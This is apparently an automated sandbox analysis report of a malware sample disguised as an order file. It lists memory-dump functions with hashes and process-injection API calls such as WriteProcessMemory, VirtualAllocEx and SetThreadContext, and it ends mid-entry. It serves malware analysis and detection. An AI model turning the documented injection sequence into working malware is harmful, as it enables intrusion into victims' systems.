Source File: 00000000.00000002.1461531912.0000000009AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ab0000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 19924c8cc91e000b5945f12e457b47ff1b8c851c717e58e774169d5bab79cf03
Instruction ID: e3173e5e8173aa1c794f57b96e99e801b6b041b71d5a07c916f5a30ff9306518
Opcode Fuzzy Hash: 19924c8cc91e000b5945f12e457b47ff1b8c851c717e58e774169d5bab79cf03
Instruction Fuzzy Hash: FC31E4B5D003499FDB10CF9AD980ADEBBF9FB48320F54842EE815A7210D7759945CFA0

Function 0B50C848 Relevance: 1.6, APIs: 1, Instructions: 70injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0B50C8E0

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e4f1edddd06985624f85e0530da4dbea249dc9bd206cf521db42ca041cf592c1
Instruction ID: a15b54bf2ebc917abddc536a57c292ab0a25fc5e8762dbc32c2de2950937859b
Opcode Fuzzy Hash: e4f1edddd06985624f85e0530da4dbea249dc9bd206cf521db42ca041cf592c1
Instruction Fuzzy Hash: FC2155B6D003099FDB10CFA9C881BDEBBF1FF48310F10852AE958A7280CB389940CB64

Function 0B50C850 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 0B50C8E0

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b14323e1b0e927f50be4df11110caabf9de22cd8fdbf3792cd114d28245cd467
Instruction ID: 065ec2f6511db484290f73f79058faa3b66a60be677a9ea084e7f3e78992867d
Opcode Fuzzy Hash: b14323e1b0e927f50be4df11110caabf9de22cd8fdbf3792cd114d28245cd467
Instruction Fuzzy Hash: B8212671D103499FDB10DFAAC881BDEBBF5FF48310F508529E918A7240CB789955CBA4

Function 0B50C939 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 0B50C9C0

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 133f301ff60cc9001423421f6e634ad3555645213da5998c77133c76d08fd698
Instruction ID: 7647a2a6bdbebc5680d35c03c939b7421cda980d90808c3910c74996f1ee4ff2
Opcode Fuzzy Hash: 133f301ff60cc9001423421f6e634ad3555645213da5998c77133c76d08fd698
Instruction Fuzzy Hash: 6B21F672D007499FDB10DF9AD881BDEBBF5FF48320F508929E558A7240CB399901CBA4

Function 0B50C6B0 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0B50C736

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 4cf8d953921e81cd509c90bd452e61d3808fd1b756fb87cdb376b48b92f33860
Instruction ID: 8b66dbc69b290c73e516c50db3881d9f54d6f2d46ceae0e2b354af9e914e9be0
Opcode Fuzzy Hash: 4cf8d953921e81cd509c90bd452e61d3808fd1b756fb87cdb376b48b92f33860
Instruction Fuzzy Hash: 0F214871D103098FDB20DFAAC4857AEBBF4EB48210F54842DD819A7280CB789945CFA0

Function 0B50C940 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 0B50C9C0

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 39cf937639e757efd27648c0acd3c10f3c766e024cebf1212d1d4c98e3209761
Instruction ID: 7ef8df60df0c500ad13d77bf5dd803aff6758492991b1cd2f33993afca65f210
Opcode Fuzzy Hash: 39cf937639e757efd27648c0acd3c10f3c766e024cebf1212d1d4c98e3209761
Instruction Fuzzy Hash: 1D211971D003499FDB10DF9AC841BDEBBF5FF48310F508529E558A7240C7359901CBA4

Function 0B50C6B8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 0B50C736

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1203aa035bf3530b3f27ca312e58e1af7ebe948da67625daf0e7798b274f8b58
Instruction ID: 151dec2db5318ea75362153c0a83c5df49343d66e16eb3a68b494c72638c4c8e
Opcode Fuzzy Hash: 1203aa035bf3530b3f27ca312e58e1af7ebe948da67625daf0e7798b274f8b58
Instruction Fuzzy Hash: 2C213771D003098FDB20DFAAC4857AEBBF4EB49220F54842ED819A7280CB789945CFA5

Function 0B50C790 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0B50C7FE

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 55f451c82083e7b79e3a0394e00efe9dbdaf34382735087f8a22ae0b615710ad
Instruction ID: 804334c5165baab52227242a024e142b12511de15b2841961b855ef05022d56d
Opcode Fuzzy Hash: 55f451c82083e7b79e3a0394e00efe9dbdaf34382735087f8a22ae0b615710ad
Instruction Fuzzy Hash: AB112672D003499FDB20DFAAC845BDEBBF5EF48320F148419E915A7250CB759940CFA4

Function 0B50C788 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 0B50C7FE

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 395a137aa4e185392e7147a474771c7c480c83800daa331bd9b9c66a564c61cd
Instruction ID: ea27879644140ce4ff25c893e93083ebffb4cad8b5460249b5ce71f3b09cf75e
Opcode Fuzzy Hash: 395a137aa4e185392e7147a474771c7c480c83800daa331bd9b9c66a564c61cd
Instruction Fuzzy Hash: 97115676D003499FDB20DFA9C845BDEBBF5EF48320F248819E519A7250CB399901CFA4

Function 0B50C600 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 0B50C66A

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8e5db7e886949427a4443a8664dfd0bb4baf6b92c0e5a7253fd715c01f22bb53
Instruction ID: 8bf588d997e427daea9895938054d650cfbce9a5b08117effb3588147997e68e
Opcode Fuzzy Hash: 8e5db7e886949427a4443a8664dfd0bb4baf6b92c0e5a7253fd715c01f22bb53
Instruction Fuzzy Hash: 681146B1D007489FDB20DFAAD445B9EBBF4EB48220F148519D519A7240CB39A945CBA4

Function 0B50C608 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 0B50C66A

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5d48f5452783865133eb3d7185ec962954c8fbfd90b3a6cffc29bb94fe8fd8cf
Instruction ID: 325168e159435724025292b2244b9f0e61622a68f3ed33538b202c9e077a76c2
Opcode Fuzzy Hash: 5d48f5452783865133eb3d7185ec962954c8fbfd90b3a6cffc29bb94fe8fd8cf
Instruction Fuzzy Hash: B61136B1D003498FDB20DFAAC445B9EFBF5EB88320F248519D559A7340CB79A945CFA4

Function 0570E5E0 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0570E646

Memory Dump Source

Source File: 00000000.00000002.1437311328.0000000005700000.00000040.00000800.00020000.00000000.sdmp, Offset: 05700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5700000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e03f24d4537a2f0fdd8a84a2db762afe11b22bc635a52ca1f77d9913d7f5bc9b
Instruction ID: fb2d63aa2bc7b73481271e8bd2d79f3afcb06346354d06ee22ccfb687556b99a
Opcode Fuzzy Hash: e03f24d4537a2f0fdd8a84a2db762afe11b22bc635a52ca1f77d9913d7f5bc9b
Instruction Fuzzy Hash: 6911D2B6D007498FDB14DF9AD444A9EFBF8AB48220F14842AD819A7250C375A545CFA5

Function 0F26112A Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0F26118D

Memory Dump Source

Source File: 00000000.00000002.1473741956.000000000F260000.00000040.00000800.00020000.00000000.sdmp, Offset: 0F260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f260000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 98abb32a19b9a328cb214f05864f4f86eda3b9ea6c894240c22b50129f37af7b
Instruction ID: dac79f093c74e98dc9687fcf47e1d87fe95b473e1d4d712ca12c97ccc2a7c3a9
Opcode Fuzzy Hash: 98abb32a19b9a328cb214f05864f4f86eda3b9ea6c894240c22b50129f37af7b
Instruction Fuzzy Hash: E111D6B68103499FDB10DF9AD845BDEBFF8EB48720F108459E518A7250C375A954CFA1

Function 0F261130 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0F26118D

Memory Dump Source

Source File: 00000000.00000002.1473741956.000000000F260000.00000040.00000800.00020000.00000000.sdmp, Offset: 0F260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f260000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 9ff7a43e7d37bd5ccf1ae092aa88bc568eaea40426f208a7f32abae2f6a597c7
Instruction ID: a877977c7a430ec0ba71b0e46a32e8dd364ba66250347f768c773ff59aa5cbbe
Opcode Fuzzy Hash: 9ff7a43e7d37bd5ccf1ae092aa88bc568eaea40426f208a7f32abae2f6a597c7
Instruction Fuzzy Hash: CB11D0B58003499FDB20DF9AD885BDEBBF8EB48320F10845AE518A7250C375A994CFA1

Function 0300D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419032279.000000000300D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0300D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_300d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc93338eee03e83497160f2aeeb96390368bf70a932a10658854e16b0958f29d
Instruction ID: 59787bf759e868f4ad664a24ea49970b03573ab56723f6842b79c97fa13e20e0
Opcode Fuzzy Hash: cc93338eee03e83497160f2aeeb96390368bf70a932a10658854e16b0958f29d
Instruction Fuzzy Hash: F9210371505240DFEB15DF94D9C0B2ABFA5FB88329F24C5A9EC090F296C336D456CAB2

Function 0300D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419032279.000000000300D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0300D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_300d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adde4b1317e5eafb8dd3941413c52243a77e154de68585cfadc1b7e446e3e300
Instruction ID: 1edb97e971b10e21cfbdcd05a8b06150e5c9d8313ce072d9807704f66061c8af
Opcode Fuzzy Hash: adde4b1317e5eafb8dd3941413c52243a77e154de68585cfadc1b7e446e3e300
Instruction Fuzzy Hash: FD210371605204DFEB14DF54D9C0B2AFBA5FB88324F24C5A9E9090F696C336E456CAB2

Function 0301D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419351532.000000000301D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0301D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_301d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24c43e9cc67a66c7b1b5f937a7f3618b287f40bc83a92a6a81ac61b0a3865ced
Instruction ID: 40ef4969e8a2f11706473ecd91ab32e44375cb44848d84fbf89e19ff8931df25
Opcode Fuzzy Hash: 24c43e9cc67a66c7b1b5f937a7f3618b287f40bc83a92a6a81ac61b0a3865ced
Instruction Fuzzy Hash: 79213471A04300EFDB05DF14D9C0B2AFBA5FB94314F24CAADE8094F282C336D826CA61

Function 0301D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419351532.000000000301D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0301D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_301d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf2de9543ae5e392663a07f51ad272ee532d58d928614226f659477a107e3387
Instruction ID: b22955f73cefc2681675765f90cd396bbe9e3321f7c907cd2b9afd0c60e3ee01
Opcode Fuzzy Hash: cf2de9543ae5e392663a07f51ad272ee532d58d928614226f659477a107e3387
Instruction Fuzzy Hash: E221F275605300DFDB16DF14D9C4B26BBA5FB84314F24C9ADD84A4B286C33AD867CA62

Function 0301D007 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419351532.000000000301D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0301D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_301d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec79228be4102f3e969c91a5c63a5d5c716232fc81c48c790cf8b9197a9f8bbd
Instruction ID: 658b5fcccb42fe3770ff5f232de88418d311025849ad1d64c201e640f6545d44
Opcode Fuzzy Hash: ec79228be4102f3e969c91a5c63a5d5c716232fc81c48c790cf8b9197a9f8bbd
Instruction Fuzzy Hash: C5219F755093808FCB13CF24D990B15BFB1EB46214F28C5DAD8498F2A7C33A981ACB62

Function 0300D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419032279.000000000300D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0300D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_300d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: ff82ca6e7f56a33c4b920b96401b72bb604fa9c74a3eb487e7346cfc03e5468e
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: BC11B176504240DFDB15CF54D5C4B16FFB2FB84324F28C6A9D8490B696C33AE456CBA2

Function 0300D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419032279.000000000300D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0300D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_300d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: d5461fb9015f761211dc278cb3e4b935f400af674954926584659597ac063175
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: AA11D376504280CFDB15CF54D5C4B16BFB2FB88324F28C6A9DC490B696C336D45ACBA2

Function 0301D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419351532.000000000301D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0301D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_301d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 30956e1550d8f335a7e23de099815a48236b44264a711158a5fbf8c9566b60e8
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: 5711DD75504280DFCB05CF14C5C0B25FBB2FB84324F28C6ADD8494B696C33AD41ACB61

Function 0300D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419032279.000000000300D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0300D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_300d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50769e4aec267f30b03ceb5e291d77b05928b543db7c1697a685d6c69f1e0539
Instruction ID: bd65ca078ece470e4767ea62a0c3cc46097af349a720c0101fead6fe11cd6d71
Opcode Fuzzy Hash: 50769e4aec267f30b03ceb5e291d77b05928b543db7c1697a685d6c69f1e0539
Instruction Fuzzy Hash: 3901F7311093449AF7209A95CC84B2BFBDCDF41235F08C95AED0C0A2C2E6399845CAB2

Function 0300D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1419032279.000000000300D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0300D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_300d000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfec921a8667073d0356b4748974c712bf4ae07de45a8e8f869392c310afbe39
Instruction ID: 20836897613404f3bcae72e25011fa3047e4367157a9853efc250d97137b9029
Opcode Fuzzy Hash: dfec921a8667073d0356b4748974c712bf4ae07de45a8e8f869392c310afbe39
Instruction Fuzzy Hash: 65F0C232005344AEE7109E56C888B67FFECEB81234F18C55AED0C0A2C6D2799844CBB1

Non-executed Functions

Function 0B500040 Relevance: 7.3, Strings: 5, Instructions: 1028COMMON

Download Yara Rule

Strings

xbq, xrefs: 0B500171
4'q, xrefs: 0B500C3C
TJq, xrefs: 0B5001E6
pq, xrefs: 0B500D13
Teq, xrefs: 0B500897

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID: 4'q$TJq$Teq$pq$xbq
API String ID: 0-4142780942
Opcode ID: 5b2294d31e22e43611d592ded334b6d7b334fce45922172648457ff9db9b8bb5
Instruction ID: 803cfd5e75d6e1cdaff0eebc297c091718cf1aada834b9c23d3ba3867aa37b7b
Opcode Fuzzy Hash: 5b2294d31e22e43611d592ded334b6d7b334fce45922172648457ff9db9b8bb5
Instruction Fuzzy Hash: 1CB2BF74E00628CFDB65CF69C984BD9BBB2BF89304F1581E9D509AB265DB319E81CF40

Function 0B500006 Relevance: 4.0, Strings: 3, Instructions: 260COMMON

Download Yara Rule

Strings

xbq, xrefs: 0B500171
TJq, xrefs: 0B5001E6
Teq, xrefs: 0B500897

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID: TJq$Teq$xbq
API String ID: 0-4091408781
Opcode ID: a96aa8231baa18dcffda35cd930618be3304c3dab509cdffcbf4607000ada4c7
Instruction ID: 4bb23161003c189731160d3ec9c9c74478f5885bb510d2177726deed90dcfde7
Opcode Fuzzy Hash: a96aa8231baa18dcffda35cd930618be3304c3dab509cdffcbf4607000ada4c7
Instruction Fuzzy Hash: 19C1C275E016588FDB59CF6AC944AD9BBF2BF89300F14C1EAD408AB365DB305A85CF50

Function 05703733 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

CB7, xrefs: 05703792

Memory Dump Source

Source File: 00000000.00000002.1437311328.0000000005700000.00000040.00000800.00020000.00000000.sdmp, Offset: 05700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5700000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID: CB7
API String ID: 0-594655847
Opcode ID: a738c4353ea0da7288b5355f9c4a410a0db8be56a42ad16967b60b8aea0d6eb9
Instruction ID: ea85fd8a7f68493ed4f014f26c7146b63dd649de2b709f406ee863e1a6e281b0
Opcode Fuzzy Hash: a738c4353ea0da7288b5355f9c4a410a0db8be56a42ad16967b60b8aea0d6eb9
Instruction Fuzzy Hash: 3E41B075F2420ACFCB44CB6CC9815BEB7F2BB88300F15A966D415EB391D634D9019B91

Function 05703740 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

CB7, xrefs: 05703792

Memory Dump Source

Source File: 00000000.00000002.1437311328.0000000005700000.00000040.00000800.00020000.00000000.sdmp, Offset: 05700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5700000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID: CB7
API String ID: 0-594655847
Opcode ID: 9f9f21e23dbd0906bb319e1a55495752d9f8887466afad34edf8cc07c977f1e5
Instruction ID: 103771460c6d231393ecf4d6cac1e72bafb3c681ae43d1be1430733481c0bc81
Opcode Fuzzy Hash: 9f9f21e23dbd0906bb319e1a55495752d9f8887466afad34edf8cc07c977f1e5
Instruction Fuzzy Hash: 9431DDB5F2021ACFCB44CF6CC9815AEBBF6BB88310F14A866D415EB391D630DD019B91

Function 0B50AB40 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d58085805926972231e3c7aa3d0b6ceeea81bbc2f4e0077c4a4f731ed2d28b
Instruction ID: 674da2eb90660d2231be313f690a5049c9348e9723bbea5a114dd278918f19bb
Opcode Fuzzy Hash: a8d58085805926972231e3c7aa3d0b6ceeea81bbc2f4e0077c4a4f731ed2d28b
Instruction Fuzzy Hash: 98E1FC74E102598FDB14CFA9C5809AEFBB2FF89304F248169D415AB395DB35AD42CF60

Function 0B509E98 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f74034669a98ad8d38def81d084f53d166ed12e4b17280a29512cb636f29702e
Instruction ID: 0c1d46da324f0e691d42b2a3b51a624a4c7673fa430e6415952e2b6ba27d6e86
Opcode Fuzzy Hash: f74034669a98ad8d38def81d084f53d166ed12e4b17280a29512cb636f29702e
Instruction Fuzzy Hash: 07E1FB74E102198FDB14CFA9C580AAEFBB2FF89304F248169D455AB395DB35AD42CF60

Function 0B50BDE0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33b61bff8ad4c31de4d37f89ed4b25858c2356506140f667039eb029a03d6c7a
Instruction ID: 5f851bb1b1a25532ec1b168676411b5b40976d155468795b707409f7040167fa
Opcode Fuzzy Hash: 33b61bff8ad4c31de4d37f89ed4b25858c2356506140f667039eb029a03d6c7a
Instruction Fuzzy Hash: 87E10C74E102598FDB14CFA9C580AAEFBB2FF49304F2481A9D415AB395DB31AD42CF60

Function 0B50A2D0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4da7c0d25951a8c3d7768c2c3868c52fe3b93eb6c697b09a7fb872502a4d5cf8
Instruction ID: 80db13ed1b16c78d081cb97b8942d3108f8c8d1308b60c7bb9f7d02cfad10531
Opcode Fuzzy Hash: 4da7c0d25951a8c3d7768c2c3868c52fe3b93eb6c697b09a7fb872502a4d5cf8
Instruction Fuzzy Hash: A2E1EB74E102198FDB14DFA9C580AAEFBB2FF89304F248169D415AB395DB35AD42CF60

Function 0B50A708 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 505074b5890906e012592cf798316f40d86d76426a16dfe7f40ef7433569d0fc
Instruction ID: 7b62dc2dbe5ae3adfea6a12263b6bc7dadba6e9d7be3c7d0744426391e251d48
Opcode Fuzzy Hash: 505074b5890906e012592cf798316f40d86d76426a16dfe7f40ef7433569d0fc
Instruction Fuzzy Hash: 86E1EC74E102198FDB14DFA9C580AAEFBB2FF89304F2481A9D415A7395DB35AD42CF60

Function 0B50BDCF Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1465375602.000000000B500000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B500000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b500000_RFQ_PO N89397-GM7287-Order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d266e073e9c962b22a9785cad2e0b8b38428f99e3e56b610f4ed9683c118c82b
Instruction ID: b163dbe1d2129245df788f0b92fd9814d51a3191309bf7bb2c4dd14cc99c5943
Opcode Fuzzy Hash: d266e073e9c962b22a9785cad2e0b8b38428f99e3e56b610f4ed9683c118c82b
